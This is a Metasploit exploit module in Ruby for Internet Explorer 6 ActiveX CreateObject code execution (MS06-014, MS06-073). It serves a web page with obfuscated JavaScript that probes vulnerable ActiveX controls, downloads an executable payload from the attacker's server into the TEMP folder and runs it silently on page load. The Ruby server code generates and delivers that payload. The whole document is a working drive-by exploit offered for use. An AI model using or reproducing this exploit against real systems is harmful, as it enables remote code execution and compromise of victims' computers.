Microsoft Internet Explorer – COM CreateObject Code Execution (MS06-014/MS06-073) (Metasploit)
## # $Id: ie_createobject.rb 10394 2010-09-20 08:06:27Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Seh include Msf::Exploit::EXE include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :ua_name => HttpClients::IE, # In badly misconfigured situations, IE7 and 8 could be vulnerable to # this, but by default they throw an ugly popup that stops all script # execution until the user deals with it and aborts everything if they # click "no". Not worth the risk of being unable to try more recent # exploits. Make sure service packs on top of 6.0 are considered less # than the max by setting to 6.1 (which doesn't really exist). :ua_maxver => "6.1", :javascript => true, :os_name => OperatingSystems::WINDOWS, :vuln_test => 'CreateObject', :classid => [ '{BD96C556-65A3-11D0-983A-00C04FC29E36}', '{BD96C556-65A3-11D0-983A-00C04FC29E30}', '{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}', '{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}', '{6414512B-B978-451D-A0D8-FCFDF33E833C}', '{06723E09-F4C2-43c8-8358-09FCD1DB0766}', '{639F725F-1B2D-4831-A9FD-874847682010}', '{BA018599-1DB3-44f9-83B4-461454C84BF8}', '{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}', '{E8CCCDDF-CA28-496b-B050-6C07C962476B}', '{AB9BCEDD-EC7E-47E1-9322-D4A210617116}', '{0006F033-0000-0000-C000-000000000046}', '{0006F03A-0000-0000-C000-000000000046}', ], #:rank => ExcellentRanking # reliable exe writer }) def initialize(info = {}) super(update_info(info, 'Name' => 'Internet Explorer COM CreateObject Code Execution', 'Description' => %q{ This module exploits a generic code execution vulnerability in Internet Explorer by abusing vulnerable ActiveX objects. }, 'License' => MSF_LICENSE, 'Author' => [ 'hdm', ], 'Version' => '$Revision: 10394 $', 'References' => [ # MDAC [ 'MSB', 'MS06-014' ], [ 'CVE', '2006-0003' ], [ 'OSVDB', '24517' ], # WMI Object Broker [ 'MSB', 'MS06-073' ], [ 'CVE', '2006-4704' ], [ 'OSVDB', '30155' ], ], 'Payload' => { 'Space' => 2048, 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', { } ], # Patched [ 'MS06-014 - RDS.DataSpace', { 'CLSID' => '{BD96C556-65A3-11D0-983A-00C04FC29E36}'} ], # Found in mpack [ 'MS06-014 - RDS.DataSpace', { 'CLSID' => '{BD96C556-65A3-11D0-983A-00C04FC29E30}'} ], # Patched [ 'MS06-073 - WMIScriptUtils.WMIObjectBroker2.1', { 'CLSID' => '{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}'} ], # These are restricted by site (might be exploitable via DNS spoofing + SSL fun) [ 'UNKNOWN - SoftwareDistribution.MicrosoftUpdateWebControl.1', { 'CLSID' => '{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}'} ], [ 'UNKNOWN - SoftwareDistribution.WebControl.1', { 'CLSID' => '{6414512B-B978-451D-A0D8-FCFDF33E833C}'} ], # Visual Studio components, not marked as safe [ 'UNKNOWN - VsmIDE.DTE', { 'CLSID' => '{06723E09-F4C2-43c8-8358-09FCD1DB0766}'} ], [ 'UNKNOWN - DExplore.AppObj.8.0', { 'CLSID' => '{639F725F-1B2D-4831-A9FD-874847682010}'} ], [ 'UNKNOWN - VisualStudio.DTE.8.0', { 'CLSID' => '{BA018599-1DB3-44f9-83B4-461454C84BF8}'} ], [ 'UNKNOWN - Microsoft.DbgClr.DTE.8.0', { 'CLSID' => '{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}'} ], [ 'UNKNOWN - VsaIDE.DTE', { 'CLSID' => '{E8CCCDDF-CA28-496b-B050-6C07C962476B}'} ], # # The controls below can launch the "installing component" dialogs... # # Not marked as safe [ 'UNKNOWN - Business Object Factory ', { 'CLSID' => '{AB9BCEDD-EC7E-47E1-9322-D4A210617116}'} ], # Not marked as safe [ 'UNKNOWN - Outlook Data Object', { 'CLSID' => '{0006F033-0000-0000-C000-000000000046}'} ], # Found exploitable in the wild (no details) [ 'UNKNOWN - Outlook.Application', { 'CLSID' => '{0006F03A-0000-0000-C000-000000000046}'} ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Apr 11 2006')) end def on_request_uri(cli, request) if (request.uri.match(/payload/)) return if ((p = regenerate_payload(cli)) == nil) data = generate_payload_exe({ :code => p.encoded }) print_status("Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...") send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) return end # Build out the HTML response page var_html = rand_text_alpha(rand(30)+2) var_func_exploit = rand_text_alpha(rand(30)+2); var_func_go = rand_text_alpha(rand(30)+2); var_func_createo = rand_text_alpha(rand(30)+2); var_exe_name = rand_text_alpha(rand(30)+2); var_objects = '' # Build the object list based on target selection if (target.name == 'Automatic') targets.each do |t| next if not t['CLSID'] var_objects += t['CLSID'].unpack('C*').map{|c| " '#{c.chr}' "}.join("+") + "," end else var_objects += target['CLSID'].unpack('C*').map{|c| " '#{c.chr}' "}.join("+") + "," end content = %Q^ <html><head><title></title> <script language="javascript"> function #{var_func_createo}( o , n ) { var r = null; try { eval("r=o" + ".C" + "re" + "ate" + "Ob" + "je" + "ct(n)" ) }catch(e){} if (! r) { try { eval("r=o" + ".Cr" + "ea" + "teO" + "bj" + "ect(n,'')" ) }catch(e){} } if (! r) { try { eval("r=o" + ".Cr" + "ea" + "teO" + "bj" + "ect(n,'','')" ) }catch(e){} } if (! r) { try { eval("r=o" + ".Ge" + "tOb" + "je" + "ct('',n)" ) }catch(e){} } if (! r) { try { eval("r=o" + ".Ge" + "tOb" + "ject(n,'')" ) }catch(e){} } if (! r) { try { eval("r=o" + ".Ge" + "tOb" + "ject(n)" ) }catch(e){} } return( r ); } function #{var_func_go}( a ) { var s = #{var_func_createo}( a, "W" + "Sc" + "ri" + "pt" + ".S" + "he" + "ll" ); var o = #{var_func_createo}( a, "A" + "DO" + "D" + "B.S" + "tr" + "eam" ); var e = s.Environment( "P" + "ro" + "ce" + "ss" ); var url = document.location + '/p' + 'ay' + 'lo' + 'ad'; var xml = null; var bin = e.Item( "T" + "E" + "M" + "P" ) + "\\\\#{var_exe_name}" + ".e" + "xe"; var dat; try { xml=new XMLHttpRequest(); } catch(e) { try { xml = new ActiveXObject("Microsoft.XMLHTTP"); } catch(e) { xml = new ActiveXObject("MSXML2.ServerXMLHTTP"); } } if (! xml) { return(0); } xml.open("GET", url, false); xml.send(null); dat = xml.responseBody; o.Type = 1 ; o.Mode = 3 ; o.Open ( ) ; o.Write ( dat ) ; o.SaveToFile ( bin, 2) ; s.Run ( bin , 0 ); } function #{var_func_exploit}( ) { var i = 0; var t = new Array( #{var_objects} null ); while (t[i]) { var a = null; if (t[i].substring(0,1) == '{') { a = document.createElement("object"); a.setAttribute("cl" + "as" + "sid", "cl" + "s" + "id" +":" + t[i].substring( 1, t[i].length - 1 ) ) ; } else { try { a = new ActiveXObject(t[i]); } catch(e){} } if (a) { try { var b = #{var_func_createo}( a , "W" + "Sc" + "ri" + "pt" + ".S" + "he" + "ll" ) ; if (b) { #{var_func_go}( a ) ; return(0) ; } } catch(e){ } } i++; } } </script> </head> <body onload='#{var_func_exploit}()'> #{var_html} </body> </html> ^ content = Rex::Text.randomize_space(content) print_status("Sending #{self.name} exploit HTML to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response_html(cli, content) # Handle the payload handler(cli) end end |